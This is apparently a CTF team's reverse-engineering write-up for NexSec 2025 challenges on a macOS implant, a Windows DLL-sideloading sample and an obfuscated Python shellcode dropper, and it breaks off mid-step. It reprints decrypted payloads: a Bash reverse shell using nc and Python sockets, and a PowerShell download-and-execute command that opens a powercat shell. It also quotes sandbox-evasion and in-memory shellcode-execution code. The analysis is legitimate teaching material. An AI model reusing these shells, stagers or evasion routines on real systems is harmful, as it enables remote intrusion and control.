NexSec 2025 (Qualifiers) - Writeup
By Team PERISAI Beta - Jerit3787, Mynz & mont3r
Residual Implant
By Jerit3787
Category: Reverse Engineering
Description:
Following a compromise assessment, analysts extracted a small residual binary believed to have been part of a macOS backdoor. Reverse-engineer the binary and determine the C2 domain used by the implant. ps: infected Disclaimer: This malware sample was created exclusively for the NEXSEC CTF competition. The authors are not responsible for any damages caused by inappropriate use of this malware. All analysis and execution of malicious files should only be performed in a secure, isolated, and controlled environment such as a virtual machine or sandbox.
Solution:
Initial Analysis
Upon initial analysis, the first step getting a binary would be to check the file type like if it is a Windows PE executable etc. Thus, using the file command to check the type shows the following result.
1
2
3
┌──(kali㉿kali)-[~/Desktop]
└─$ file UpdateHelper
UpdateHelper: Mach-O universal binary with 2 architectures: [x86_64:\012- Mach-O 64-bit x86_64 executable, flags:<NOUNDEFS|DYLDLINK|TWOLEVEL|PIE>] [\012- arm64:\012- Mach-O 64-bit arm64 executable, flags:<NOUNDEFS|DYLDLINK|TWOLEVEL|PIE>]
As seen, we noted that it is a Mach-O universal binary which is a MacOS binary that includes both architectures that are ARM64 and x64/AMD64 binary. Thus, we can just use ghidra to open the file and check for any unusual here. Guided by the Advisory Deception challenge, we noted that finding the C2 domain would be finding where the data is located and if any encryption would need to be reversed in order to get the original data back.
As seen inside the Symbol Tree page, we see that there is a lot of reference to the MacOS library, each of them requires the library to be dynamically loaded, thus looking at entry would be our best bet.
Static Analysis in Ghidra
After loading the binary into Ghidra, we navigated to the entry function. The decompiled code initially appeared slightly obfuscated, with indirect function calls (e.g., PTR__sysctl). However, by analyzing the logic flow, we identified two distinct phases which are Environment Checks and Payload Decryption.
Phase 1: Evasion & Environment Checks
Before executing any malicious logic, the binary ensures it is not running in a hostile environment (like a malware sandbox or analyst VM).
- Uptime Check:
The binary calls _sysctl to retrieve the system boot time and compares it with the current time from _time.
1
2
// Logic: If (CurrentTime - BootTime) < 300 seconds (5 mins) -> Sleep
if ((long)(tVar4 - local_2298) < 300) goto LAB_100001a66;
If the system has been up for less than 5 minutes, it assumes it’s a sandbox that was just spun up, prints “Running system diagnostics…”, and sleeps.
- VM Detection:
It retrieves the hardware model via sysctlbyname(“hw.model”, …) and searches the result using _strstr for known virtualization keywords:
- VMware
- VirtualBox
- Parallels
- QEMU
- Rosetta Check:
It queries sysctl.proc_translated to determine if the x86_64 binary is running on Apple Silicon via Rosetta translation.
If these checks pass, the malware proceeds to the decryption phase.
Phase 2: The Decryption Routine
The most interesting part of the entry function is a loop that manipulates a stack buffer. This is clearly a custom decryption routine.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
local_2298 = CONCAT44(local_2298.4_4, 0x905a4d); //Initialization
uVar8 = 0x905a4d;// Initial Seed
lVar6 = 5;
do {
// Linear Congruential Generator (LCG) Step 1
uVar8 = (uVar8 * 0x38aaa0c8) % 0x7fffffff;
// Decrypt Byte A
*(byte *)((long)&local_22a0 + lVar6 + 7) = (&UNK_100001bff)[lVar6] ^ (byte)uVar8;
// LCG Step 2
uVar8 = (uVar8 * 0x38aaa0c8) % 0x7fffffff;
// Decrypt Byte B
*(byte *)((long)&local_2298 + lVar6) = (&DAT_100001c00)[lVar6] ^ (byte)uVar8;
lVar6 = lVar6 + 2;
} while (lVar6 != 0x265);
Analysis of the Algorithm:
- Algorithm: This is a stream cipher using a Linear Congruential Generator (LCG) to generate a keystream, which is then XORed with the encrypted data.
- Seed:
0x905a4d. (Interestingly, 0x4D 0x5A 0x90 represents the DOS header signature MZ followed by a NOP, used here as a hardcoded seed). - Multiplier: 0x38aaa0c8
- Modulus: 0x7fffffff
- Data Sources: The loop reads from two memory locations: UNK_100001bff and DAT_100001c00.
Decrypting the Payload
To retrieve the C2 domain, we don’t need to run the malware. We can replicate the decryption logic in Python.
First, we extracted the raw bytes from the binary at offset 0x100001c00 (which covers the data range used in the loop).
Python Solver Script:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
def decrypt_payload():
# 1. Configuration constants from Ghidra
seed = 0x905a4d
multiplier = 0x38aaa0c8
modulus = 0x7fffffff
# 2. Encrypted Data Extraction
# These bytes were extracted from Ghidra (DAT_100001c00 and surrounding area)
# We are simulating the memory map.
# The loop accesses index 5 to 613.
# Base address is logically 0x100001c00 for the array operations.
# Below is a truncated representation of the hex dump extracted from the binary
# representing the memory region 0x100001c00 to 0x100001e63
hex_data = """
35 38 d8 a4 9c 4f 59 e4 9e 79 49 14 99 5c 54 5c
96 29 12 d9 80 a9 23 d8 a0 a4 82 12 75 ee ad 12
5e 71 16 b8 d5 33 b9 fe 05 f6 d3 01 01 f1 82 21
68 fb a6 bb 8d 17 53 ac 7f 35 a7 68 11 bc f8 5a
72 83 07 ce 20 66 37 ba c4 ce 0f ef d1 85 bf a5
82 d1 35 4a f7 13 09 73 ce 70 a6 66 9c 37 5e c0
3f 74 46 a4 53 c5 ab ec 18 db 51 24 c2 51 cc 84
da 1b 4a 98 ee b7 a0 d9 d4 00 76 4b 47 d1 6d 6a
4b 8a de 62 cd 99 c5 44 8b 15 f5 99 07 dc 62 67
da 85 a4 06 22 26 94 38 40 41 b8 7b cc 18 0f d5
97 33 cf 22 d9 bc 62 fc f5 9a 22 d1 28 b7 6a 71
8c 42 ea 78 8a 2e fb d5 72 e9 b6 8e 2c 95 2c 23
29 08 f9 21 de 8c 34 19 7d 25 b3 c6 a5 4e 95 8e
ef 8c 02 be 97 ef 7a 35 cb 6d 40 94 16 f6 79 d7
00 6a 91 89 a8 4d 98 c2 9c ea 34 73 5e fc 89 68
c5 74 2b 3c 8c 11 79 fc 9c db e8 d4 f9 6a 09 b2
fe 98 cf 38 76 fb 01 3c d2 9f c1 7d 0f 34 98 91
ab be 3b 0c ed e2 70 ee 2f f4 41 3b fc f9 19 6f
44 42 31 d7 01 17 bf 85 a6 7a 08 75 8e 5b 97 a9
c4 15 be 50 8a 59 f7 d6 89 33 2f c1 fa 57 cd 3f
de eb 7f f8 ba 33 e4 7c f7 40 60 ab 24 43 be b1
2b 22 d4 14 3a 16 8c 6d e6 c9 a8 41 3b 45 92 88
8e e1 16 e9 79 da 7e 3c fa e0 bf 45 f7 b3 41 16
89 27 cf a8 a0 b3 f6 6a 80 8a af 7e 8d 7c da df
b0 c6 9b 6e aa 45 75 6d 21 2c 60 1b 42 74 39 b6
ba 4e 44 ed b1 ea 49 98 35 db 0f 98 e5 db 75 b9
13 04 02 e5 db 9e e9 0b 6a 4a a7 29 c8 d3 93 53
6e f5 06 ea 24 0d 3d 2e ca e3 2a 22 85 1b 9f 84
06 db b8 8c cf 3e 56 fc 5b ad 36 65 df 45 6b 2d
f8 b0 13 cc 41 77 ef 9c bd dc 92 36 33 c6 43 23
09 d9 2a 3d a4 2a 50 3b ec 62 6b 4e c3 ec 66 d8
65 0a a7 24 31 55 a8 ad 32 c0 bb e2 a2 4d 69 d4
8b 65 49 55 02 ac ae 55 cf f9 4e 62 23 ce 6d 97
1c 77 ff f0 e4 39 87 5f 3b 54 d6 03 0d 44 c8 9b
52 6b d6 31 86 57 e6 a9 74 c8 60 99 c4 27 d5 0f
4d 5b 77 35 6d d5 79 96 4f 1f fc cd 02 75 8a ff
3a 24 d0 b2 de 9e ad 2a 7b 8d 6d f5 4a c1 1c 13
96 e2 f6 7b 60 36 85 1f f8 64 2b 85 6d 28 e9 64
"""
# Clean up hex string to list of integers
data_bytes = [int(b, 16) for b in hex_data.split()]
# Map raw bytes to a simulated memory address starting at 0x100001c04
# Note: The code starts reading at offset 5 relative to 0x100001bff
# which implies we need to align our list correctly.
# The hex dump above aligns with the read operations.
decrypted_output = []
# Loop range from Ghidra: 5 to 0x265 (613), step 2
for lVar6 in range(0, len(data_bytes) - 1, 2):
# 1. Generate Key 1
seed = (seed * multiplier) % modulus
key_byte_1 = seed & 0xFF
# 2. Decrypt Byte A (Even index in our extracted list)
decrypted_byte_a = data_bytes[lVar6] ^ key_byte_1
decrypted_output.append(chr(decrypted_byte_a))
# 3. Generate Key 2
seed = (seed * multiplier) % modulus
key_byte_2 = seed & 0xFF
# 4. Decrypt Byte B (Odd index in our extracted list)
decrypted_byte_b = data_bytes[lVar6 + 1] ^ key_byte_2
decrypted_output.append(chr(decrypted_byte_b))
print("".join(decrypted_output))
decrypt_payload()
Analyzing the Payload
Running the decryption script revealed the following Bash script, which the malware passes to system():
1
2
3
4
5
6
7
8
9
10
#!/bin/bash
# ?h?ck for internet connection
curl -s --head https://google.com >/dev/null || exit 1
# Check for init file
if [ ! -f "/tmp/.zsh_init_success" ]; then exit 1; fi
mkfifo /tmp/forforfora;cat /tmp/forforfora|sh -i 2>&1|nc Pvt3QG28pg.capturextheflag.io 4444 >/tmp/forforfora \
python3 -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("Pvt3QG28pg.capturextheflag.io",4444));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);subprocess.call(["/bin/sh","-i"])' 2>/dev/null || \
nc Pvt3QG28pg.capturextheflag.io 4444 -e /bin/sh 2>/dev/null
This is a standard reverse shell script that attempts three different methods to connect back to the attacker:
Netcat with Named Pipes (FIFO): mkfifo … nc … - Python Inline Script: Uses socket and subprocess to spawn a shell.
- Netcat with Execution Flag: nc -e /bin/sh (Legacy method).
Conclusion & Indicators
By reversing the custom LCG encryption routine in the entry function, we successfully recovered the hidden payload without executing the malware.
The script explicitly defines the Command & Control (C2) domain and port.
C2 Domain: Pvt3QG28pg.capturextheflag.io
Port: 4444
This domain is the flag for the challenge.
Flag:
nexsec25{Pvt3QG28pg.capturextheflag.io}
Advisory Deception #1 - #4
By Mynz & Jerit3787
Q1
Category: Reverse Engineering
Description:
During a routine security audit, our team intercepted a suspicious binary that was distributed to several network administrators. The file was delivered via email, claiming to contain an urgent “Internet Protocol Governance & Standards Advisory - March 2025” document. The binary presents itself as a legitimate document viewer, but preliminary analysis suggests otherwise. Reverse-engineer the binary and identify the DLL name used by the malware to blend in with legitimate system files.
ps: infected
Disclaimer: This malware sample was created exclusively for the NEXSEC CTF competition. The authors are not responsible for any damages caused by misuse. All analysis should only be performed in a secure, isolated environment such as a virtual machine or sandbox.
Solution:
We are given a zip file with “infected” as a password, after unzipping we get 3 artifacts. But after close inspection, the docx file is actually an exe file, where the attacker hides the .exe extension by using longgggggg space. Thats why it is categorised as an application instead of Microsoft Word Document like below.
After putting it in Binary Ninja, in the main func, you can see the vcruntime140.dll being loaded,even though the name is a legitimate Windows runtime components but ShellExecuteA is one of the suspicious thing inside the docx file
Flag: nexsec25{vcruntime140.dll}
Q2
What directory does the malware copy itself to?
Solution
The attacker creates directory in C:\ProgramData\ (a common location for application data)
Uses innocent-sounding name “MicrosoftSyncService” to blend in with legitimate Windows services and it copies both executable and DLL to this location for persistence
C:\ProgramData\ is accessible without admin privileges btw
Flag:
nexsec25{C:\ProgramData\MicrosoftSyncService}
Q3
Uncover the exported function used to achieve persistence.
Solution
From the Q1 image, you can see that when the main executable runs at startup, it loads vcruntime, which exports __vcrt_InitializeCriticalSectionEx. This function is called during DLL initialization thus triggering the payload.
This naming is also a legitimate function name, which make it hard to detect
Flag:
nexsec25{__vcrt_InitializeCriticalSectionEx}
Q4
Solved by Jerit3787
What is the command and control (C2) domain that the implant communicates with?
Solution
Now we dig into vcruntime140.dll to find the C2 domain. I loaded it into Ghidra for deeper analysis.
Step 1: Opening the Binary in Ghidra
So we’re given a DLL file to analyze. The first thing I did was throw it into Ghidra and let it do its magic. After the analysis was completed, I navigated to the entry point because that’s where all DLLs start their journey.
The decompiled code looked like this:
1
2
3
4
5
6
7
8
9
ulonglong entry(undefined8 param_1, uint param_2, char *param_3, PDWORD param_4)
{
if (param_2 == 1) {
// DLL_PROCESS_ATTACH
FUN_25d7f1000(param_1, ...);
FUN_25d7f25b4(param_1, 1, ...);
}
// ... more cases
}
If you’ve done Windows reversing before, you’ll recognize this pattern because it’s basically DllMain. The param_2 is the “reason” code:
- 1 = DLL_PROCESS_ATTACH (DLL just loaded)
- 0 = DLL_PROCESS_DETACH (DLL unloading)
- 2 = DLL_THREAD_ATTACH
- 3 = DLL_THREAD_DETACH
The interesting stuff happens when param_2 == 1, so that’s where I focused.
Step 2: Following the Rabbit Hole
Two functions get called on attach which are,
- FUN_25d7f1000 - Look at this one first. It’s just boring C-Runtime initialization (thread locking, onexit tables). Skip it.
- FUN_25d7f25b4 - This one had some spicy stuff going on.
Inside FUN_25d7f25b4, I noticed a TON of variable assignments:
1
2
3
4
5
6
7
8
local_b8 = DAT_25d7f4020;
local_b0 = DAT_25d7f4028;
local_a8 = DAT_25d7f4030;
// ... like 20 more of these
local_18 = DAT_25d7f40c0;
FUN_25d7f2558((longlong)&local_b8, 0xa1, 0x8b); // <-- Suspicious!
FUN_25d7f35e0(&DAT_25d7f5386, &local_b8, ...);
This is a classic Stack Strings technique! Instead of storing strings in plaintext (where strings.exe would find them), malware authors build them byte-by-byte at runtime.
The key clues:
- Data is copied from global memory (DAT_...) to local stack variables
- A function is called with what looks like length (0xa1 = 161 bytes) and a key (0x8b)
Hypothesis: This is XOR decryption, and `0x8b` is the key.
Step 3: Extracting and Decrypting the First String
I went to the addresses in Ghidra’s hex view and dumped the bytes. Here’s what I found:
1
2
3
DAT_25d7f4020: cf e2 f8 e8 e7 ea e2 e6
DAT_25d7f4028: ee f9 b1 ab df e3 e2 f8
... (continues for 161 bytes)
Time for some Python magic:
1
2
3
4
5
6
7
8
9
encrypted_bytes = [
0xcf, 0xe2, 0xf8, 0xe8, 0xe7, 0xea, 0xe2, 0xe6,
0xee, 0xf9, 0xb1, 0xab, 0xdf, 0xe3, 0xe2, 0xf8,
# ... rest of the bytes
]
key = 0x8b
decrypted = "".join([chr(b ^ key) for b in encrypted_bytes])
print(decrypted)
Output:
Disclaimer: This malware is used the competition MCMC CTF. Netbytesec is not responsible for any damages caused as a result of inappropriate use of this malware.
LOL okay so this is a disclaimer. Classic malware author move that leaves a “don’t sue me” note in their code. This told me:
1. The author is Netbytesec
2. This was made for a CTF
3. This isn’t the flag and maybe it’s a decoy/red herring
Step 4: The Hunt for the Real Payload
The disclaimer was interesting but useless for the flag. Time to dig deeper.
I checked the Imports section in Ghidra. Here’s what stood out:
1
2
3
4
5
6
CryptAcquireContextA
CryptDecrypt
CryptDestroyKey
CryptImportKey
CryptReleaseContext
CryptSetKeyParam
Windows CryptoAPI! This means there’s stronger encryption somewhere beyond the simple XOR. But wait as I noticed something weird:
Missing imports:
- No WS2_32.dll (sockets)
- No WININET.dll (HTTP)
- No URLMON.dll (URL handling)
If this malware is supposed to connect to a C2 server, where are the network functions? Either:
1. It resolves them dynamically at runtime
2. The networking code is in*shellcode
I needed to find where CryptDecrypt is called.
Step 5: Finding the Crypto Function
I searched for cross-references (XREFs) to CryptDecrypt and found FUN_25d7f22d1. This function is the real decryption routine.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
undefined4 FUN_25d7f22d1(void *param_1, uint param_2, longlong *param_3, DWORD *param_4)
{
// ... setup code ...
local_58[0] = '\b'; // 0x08
local_58[1] = 2; // 0x02
local_58[2] = '\0'; // 0x00
local_58[3] = '\0'; // 0x00
local_58[4] = '\x03'; // 0x03
local_58[5] = 'f'; // 0x66
// This creates the value 0x00006603 which is CALG_3DES!
// Building the key on the stack
local_58[0xc] = '\x01'; // 0x01
local_58[0xd] = '#'; // 0x23
local_58[0xe] = 'E'; // 0x45
local_58[0xf] = 'g'; // 0x67
local_58[0x10] = 0x89;
local_58[0x11] = 0xab;
// ... continues
CryptImportKey(local_20, local_58, 0x24, 0, 0, &local_28);
CryptDecrypt(local_28, 0, 1, 0, (BYTE *)*param_3, param_4);
}
Key findings:
- Algorithm: 0x6603 = CALG_3DES (Triple DES)
- Key is built on the stack: 01 23 45 67 89 AB CD EF FE DC BA 98 76 54 32 10 89 AB CD EF 01 23 45 67
This is actually a well-known test key sequence! The malware author used a predictable key (maybe for the CTF to make it solvable).
Step 6: Who Calls the Crypto Function?
Following the call chain, I found _CreateFrameInfo (sus name for a “legitimate” function).
1
2
3
4
5
6
7
8
9
10
11
12
13
14
void _CreateFrameInfo(void)
{
iVar1 = FUN_25d7f22d1(&DAT_25d7f5020, 0x270, &local_20, &local_24);
if (iVar1 != 0) {
Sleep(5000);
local_10 = VirtualAlloc(0, local_24, 0x3000, 0x40); // PAGE_EXECUTE_READWRITE
memcpy(local_10, local_20, local_24);
Sleep(10000);
local_18 = GetDC(0);
EnumFontsW(local_18, 0, local_10, 0); // <-- WTF?!
}
}
Wait…EnumFontsW? Why would malware be enumerating fonts?
This is a Callback Injection technique!
Here’s what’s happening:
1. Decrypt 0x270 (624) bytes from DAT_25d7f5020
2. Allocate executable memory
3. Copy decrypted shellcode to that memory
4. Pass the shellcode address as the callback function to EnumFontsW
5. Windows calls the “callback” (our shellcode) for each font it finds
This is stealthy because:
- No direct call or jmp to the shellcode
- The OS itself executes the malware
- Bypasses simple sandbox hooks on CreateThread
Step 7: Extracting the Encrypted Shellcode
I went to DAT_25d7f5020 in Ghidra and dumped all 624 bytes:
```
1
2
3
25d7f5020: 9a 37 f0 5a f3 51 b3 a9 aa 90 ac fe 76 59 7c 16
25d7f5030: 5d ba b9 55 78 53 ad d6 ae 37 c9 25 00 87 f3 39
... (continues for 624 bytes total)
Step 8: Writing the Decryption Script
Time for more Python! I used the pycryptodome library for the 3DES decryption.
The key insight here is that x64 shellcode often uses MOV RAX, <8-byte-string> instructions (opcode 48 b8 or 48 ba) to push strings onto the stack. By parsing these instruction patterns, we can cleanly extract each string fragment!
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
from Crypto.Cipher import DES3
# The key we extracted from the stack
key = bytes.fromhex("0123456789ABCDEFFEDCBA987654321089ABCDEF01234567")
iv = bytes([0] * 8) # Windows CryptoAPI defaults to null IV
# The encrypted shellcode (624 bytes from DAT_25d7f5020)
encrypted_hex = (
"9a37f05af351b3a9aa90acfe76597c165dbab9557853add6ae37c9250087"
"f339ef4aa492b39456d2ecf5ede7a04ac7c1864c2d30b7e7efbd50d96324"
"29402e54c1cbf807c8349078f3672ea7f875fd1ccec00c6218f84a604faf"
"2b9aed45020483635a2fe524cc96042d8d046e2ad63ca7474f8848313d79"
"0bdcbbcf7ea7ff1c4efd54204289dba252bd1d2a12bc55b6e4938c39535a"
"8fdcd85cb6d6f17196b00b792cc06dad3d71f0c186bf152eac7ac78cccba"
"ca3548782f280a87df6dcde45ab348a8feb6c6f8fd353a3a6dc7bd97cd28"
"83aeb081aad4e1d72a8d4caf2cf12f665570f242ba55c64c38f3e66322d5"
"680aee0ea676d5a1cfdecc27ba033d29269db6f2f37ce3b3fe62b0d6a0ee"
"d31cb9203fb612f4d7c4319d5ecb47ae6d9823ebe39aed33d77e483e105c"
"0c7afebe00740c2f9aa9cb3b708d25e15147efa73905d6349346bfad63b7"
"d03a248c0cd9c9a7b4c01cbf799a19bf105964b00ae5977cb8bd77184a7c"
"032fcebe631b34dc57abf6c3570904493bc5179294ccfde40d7e99e1ff58"
"bb3718a5046e6d16756fb12d64a120497519fc16ef0065cb108d8b258ae1"
"f59ecb2260f3bfd1460fc7470e60fde6f66af84b29d88718521c498ca7eb"
"e3bcdb4dea41d744b9a4e96bc4a29d15853384aaf3252c9e4e8f78c3a79f"
"e45065d211123f75249081034b9b6f099eb881114cc3dc399a84c31e94f1"
"f2f26a4ca7f17b21a1266fde0205da3aaee3f21f9c2ec75de60100856048"
"53ab8a94a8218212d2a12196e29d2d6072728bd94647e96a774e41b12c58"
"b888caae9dcc5f36d406c6cb13153079da4b71d9806ab7f55a2469bafd95"
"df8761ff0c36bd0c2d991dcb95472981d2252543086fecc3"
)
# Decrypt
cipher = DES3.new(key, DES3.MODE_CBC, iv)
decrypted = cipher.decrypt(bytes.fromhex(encrypted_hex))
# Extract 8-byte string chunks that follow MOV r64, imm64 instructions
# Pattern: 48 b8 <8 bytes> or 48 ba <8 bytes>
strings = []
i = 0
while i < len(decrypted) - 10:
if decrypted[i] == 0x48 and decrypted[i+1] in [0xb8, 0xba]:
chunk = decrypted[i+2:i+10]
# Extract printable characters
text = ''.join(chr(b) if 0x20 <= b <= 0x7e else '' for b in chunk)
if text.strip():
strings.append(text)
i += 10
else:
i += 1
print("Extracted string chunks:")
for s in strings:
print(f" '{s}'")
Step 9: The Payload Revealed
Running the improved script gives us clean output:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
[+] Raw string chunks from shellcode:
----------------------------------------------------------------------
'KERNEL32'
'WinExec'
'powershe'
'-c "IEX '
'(New-Obj'
'ect Syst'
'em.Net.W'
'ebclient'
').Downlo'
'adString'
'('https:'
'//tinyur'
'l.com/b4'
'yh4sxh')'
'; powerc'
'at -c fj'
'3m58a9.c'
'apturext'
'heflag.i'
'o -p 999'
'9 -e cmd'
[+] Reconstructed PowerShell command:
----------------------------------------------------------------------
powershell -w hidden -c "IEX (New-Object System.Net.Webclient).DownloadString('https://tinyurl.com/b4yh4sxh'); powercat -c fj3m58a9.capturextheflag.io -p 9999 -e cmd"
======================================================================
INDICATORS OF COMPROMISE (IoCs)
======================================================================
📥 Stager URL: https://tinyurl.com/b4yh4sxh
🎯 C2 Domain: fj3m58a9.capturextheflag.io
🔌 C2 Port: 9999
🔧 Tool: powercat (PowerShell netcat)
💀 Payload: Reverse shell (cmd.exe)
Step 10: Extracting the Flag
The C2 domain is clearly visible in the powercat command:
fj3m58a9.capturextheflag.io
Flag:
nexsec25{fj3m58a9.capturextheflag.io}
QuackBot
By Jerit3787
Category: Reverse Engineering
Description: We identified a phishing campaign that uses several evasion techniques to deliver malware. Our visibility is limited to the malicious email attachment; any activity beyond that point requires further malware analysis. Analyse the malware to find what evil action is being done by it.
ps: infected
Disclaimer: This malware is used by the competition MCMC CTF. Netbytesec is not responsible for any damages caused as a result of inappropriate use of this malware. All examination of malicious files should only be performed inside a secure, isolated, and controlled environment
Solution:
Stage 1: Kramer Deobfuscation
Initial Analysis
We’re given a file called QuackBot.quack - the unusual extension might suggest some custom “Quack” programming language, but let’s not make assumptions.
Step 1: Ghidra Analysis (Failed)
First, I tried loading the binary into Ghidra to analyze it as an executable, but Ghidra didn’t recognize the file format - it wasn’t a standard PE, ELF, or Mach-O binary.
Step 2: Magic Number Analysis
I opened the file in hexed.it to examine the magic bytes:
1
6f 0d 0d 0a 00 00 00 00 6e 31 78 69 ...
The bytes 6f 0d 0d 0a (little-endian: 0a0d0d6f = 3439) are the magic number for Python 3.10 bytecode.
Step 3: Linux File Command Confirmation
Running file on Linux confirmed this:
1
2
3
┌──(kali㉿kali)-[~/Desktop]
└─$ file QuackBot.quack
QuackBot.quack: Byte-compiled Python module for CPython 3.10 (magic: 3439), timestamp-based, .py timestamp: Wed Dec 10 10:08:14 2025 UTC, .py size: 592920 bytes
So this is a Python 3.10 compiled bytecode file (.pyc), not a custom language!
Step 4: Decompilation with PyLingual
I attempted to decompile it using PyLingual (https://pylingual.io), which partially succeeded and revealed crucial information:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
# Decompiled with PyLingual (https://pylingual.io)
# Internal filename: executor-obf.py
# Bytecode version: 3.10.0rc2 (3439)
# Source timestamp: 2025-12-10 10:08:14 UTC (1765361294)
class Kramer:
def __decode__(self: object, _execute: str) -> exec:
return (None, self._rasputin(_execute))[0]
def __init__(self: object, _eval: float=False, _exec: int=0, *_decode: str, **_system: float) -> exec:
return (exit() if _eval else 'abcdefghijklmnopqrstuvwxyz0123456789')(...)
return self.__decode__(_system[...])
Kramer(_eval=False, _exec=False, _sparkle='<content>')
The decompilation was incomplete, but it gave critical hints:
1. Class name Kramer - pointing to the Kramer Obfuscator
2. Internal filename executor-obf.py - confirms obfuscation
3. _sparkle parameter - likely contains the encrypted payload
4. Alphabet string 'abcdefghijklmnopqrstuvwxyz0123456789' - used in the encoding
Opening the raw file shows gibberish Unicode characters from the Arabic script block:
```
ۑەڐڤۑڰڭڬۑەڇڊھڊڰڈڊڰڍۑڦڗڤڰ۔ۑڰڑڨڬۑڏڊھڋڊڰڈڊڰڍۑڦڗڤڰۗۑەڊڎۑڰڑڨڬڊۑەڐڤۑڰڭڬۑەۑڰڑڨڬڊڍڊھۑڇڤڗڬڇڊ …
```
Understanding Kramer Obfuscation
Kramer uses:
- Dkyrie alphabet shifting (Unicode codepoints shifted by a numeric key)
- Hexlified bytecode
- A numeric encryption key (bruteforceable in range 3-1000000)
Deobfuscation with bobby-tablez Script
I used the kramer_python_deobfuscator.py script from https://gist.github.com/bobby-tablez/bb1f13c10231192a8e0ebc58548951d3:
1
python kramer_python_deobfuscator.py "QuackBot - Copy.pyc" > log-kramer.txt
The script bruteforces keys from 3 to 1,000,000, attempting to decrypt and decompile each result. After 30 minutes:
1
2
3
4
5
6
7
8
9
10
11
[*] Trying key: 636000
[*] Trying key: 637000
[*] Trying key: 638000
[+] Decryption success with key: 638238
---------------------------------------------
import ctypes
import base64
from ctypes import wintypes
import sys
import time
...
How the Script Works
The core decryption logic from the bobby-tablez script:
1
2
3
4
5
6
7
8
9
10
11
12
13
def dkyrie(code, key):
"""Shift Unicode codepoints by key value (forward shift for decryption)"""
return ''.join(chr((ord(c) + key) % 0x110000) for c in code)
def decrypt_kramer(file_path, key):
with open(file_path, 'rb') as f:
data = f.read().decode('utf-8', errors='replace')
# Decode the dkyrie-shifted string
dehexed = dkyrie(data, key)
# Unhexlify to get original bytecode
return bytes.fromhex(dehexed)
Key discovered: 638238
Stage 2: Python Malware Analysis
Deobfuscated Code Structure
The decrypted Python reveals a shellcode dropper (decrypted.py) with anti-analysis features:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
import ctypes
import base64
from ctypes import wintypes
def dec(key, data):
"""RC4 stream cipher implementation"""
S = list(range(256))
j = 0
# Key Scheduling Algorithm (KSA)
for i in range(256):
j = (j + S[i] + key[i % len(key)]) % 256
S[i], S[j] = S[j], S[i]
# Pseudo-Random Generation Algorithm (PRGA)
i = j = 0
output = bytearray()
for byte in data:
i = (i + 1) % 256
j = (j + S[i]) % 256
S[i], S[j] = S[j], S[i]
k = S[(S[i] + S[j]) % 256]
output.append(byte ^ k)
return bytes(output)
def kejahatan(): # Indonesian for "crime"
if check_vm():
return False
if check_sandbox():
return False
encrypted_data = base64.b64decode('4isf0PJH9KRT...') # ~6KB base64
key = 'My53cretk3yzztew'.encode('ascii')
shellcode = dec(key, encrypted_data)
# Execute shellcode in memory
shellcode_buffer = ctypes.create_string_buffer(shellcode)
ctypes.windll.kernel32.VirtualProtect(
ctypes.byref(shellcode_buffer),
ctypes.sizeof(shellcode_buffer),
0x40, # PAGE_EXECUTE_READWRITE
ctypes.byref(ctypes.c_ulong())
)
shellcode_func = ctypes.cast(shellcode_buffer,
ctypes.CFUNCTYPE(ctypes.c_void_p))
shellcode_func()
Anti-Analysis Techniques
VM Detection (check_vm):
1
2
3
4
5
6
7
8
9
10
def check_vm():
# Check CPU info for VM indicators
cpu_info = platform.processor().lower()
vm_indicators = ['vmware', 'virtual', 'qemu', 'xen']
# Check running processes for VM tools
vm_processes = [
'vmtoolsd.exe', 'vmwaretray.exe', 'vboxservice.exe',
'vboxtray.exe', 'qemu-ga.exe', 'prl_cc.exe', 'prl_tools.exe'
]
Sandbox Detection (check_sandbox):
1
2
3
4
5
6
7
8
9
10
11
12
def check_sandbox():
# Debugger detection
if ctypes.windll.kernel32.IsDebuggerPresent():
return True
# Low CPU count check (sandboxes often have 1 CPU)
if multiprocessing.cpu_count() < 2:
return True
# Low RAM check (< 2GB indicates sandbox)
if total_ram_gb < 2.0:
return True
Key Findings
- RC4 Key - My53cretk3yzztew
- Function name - kejahatan (means “crime”)
- Execution method - VirtualProtect + function pointer cast
Extracting the Shellcode
I extracted the base64 blob to base64.txt and wrote a decryption script:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
# reverse_rc4.py
import base64
def rc4_decrypt(key, data):
S = list(range(256))
j = 0
for i in range(256):
j = (j + S[i] + key[i % len(key)]) % 256
S[i], S[j] = S[j], S[i]
i = j = 0
output = bytearray()
for byte in data:
i = (i + 1) % 256
j = (j + S[i]) % 256
S[i], S[j] = S[j], S[i]
k = S[(S[i] + S[j]) % 256]
output.append(byte ^ k)
return bytes(output)
with open('base64.txt', 'r') as f:
encoded = f.read()
encrypted = base64.b64decode(encoded)
key = b'My53cretk3yzztew'
shellcode = rc4_decrypt(key, encrypted)
with open('decrypted_shellcode.bin', 'wb') as f:
f.write(shellcode)
print(f"Shellcode size: {len(shellcode)} bytes")
Output: decrypted_shellcode.bin - 46,667 bytes of x64 Windows shellcode
Stage 3: Donut Shellcode Decryption
Identifying Donut Framework
Examining the shellcode with a hex editor revealed signatures consistent with the Donut shellcode framework:
- Position-independent loader stub at the end
- Encrypted payload at the beginning
- Characteristic structure with instance metadata
Using Volexity donut-decryptor
I used Volexity’s donut-decryptor tool from https://github.com/volexity/donut-decryptor to decrypt the shellcode:
1
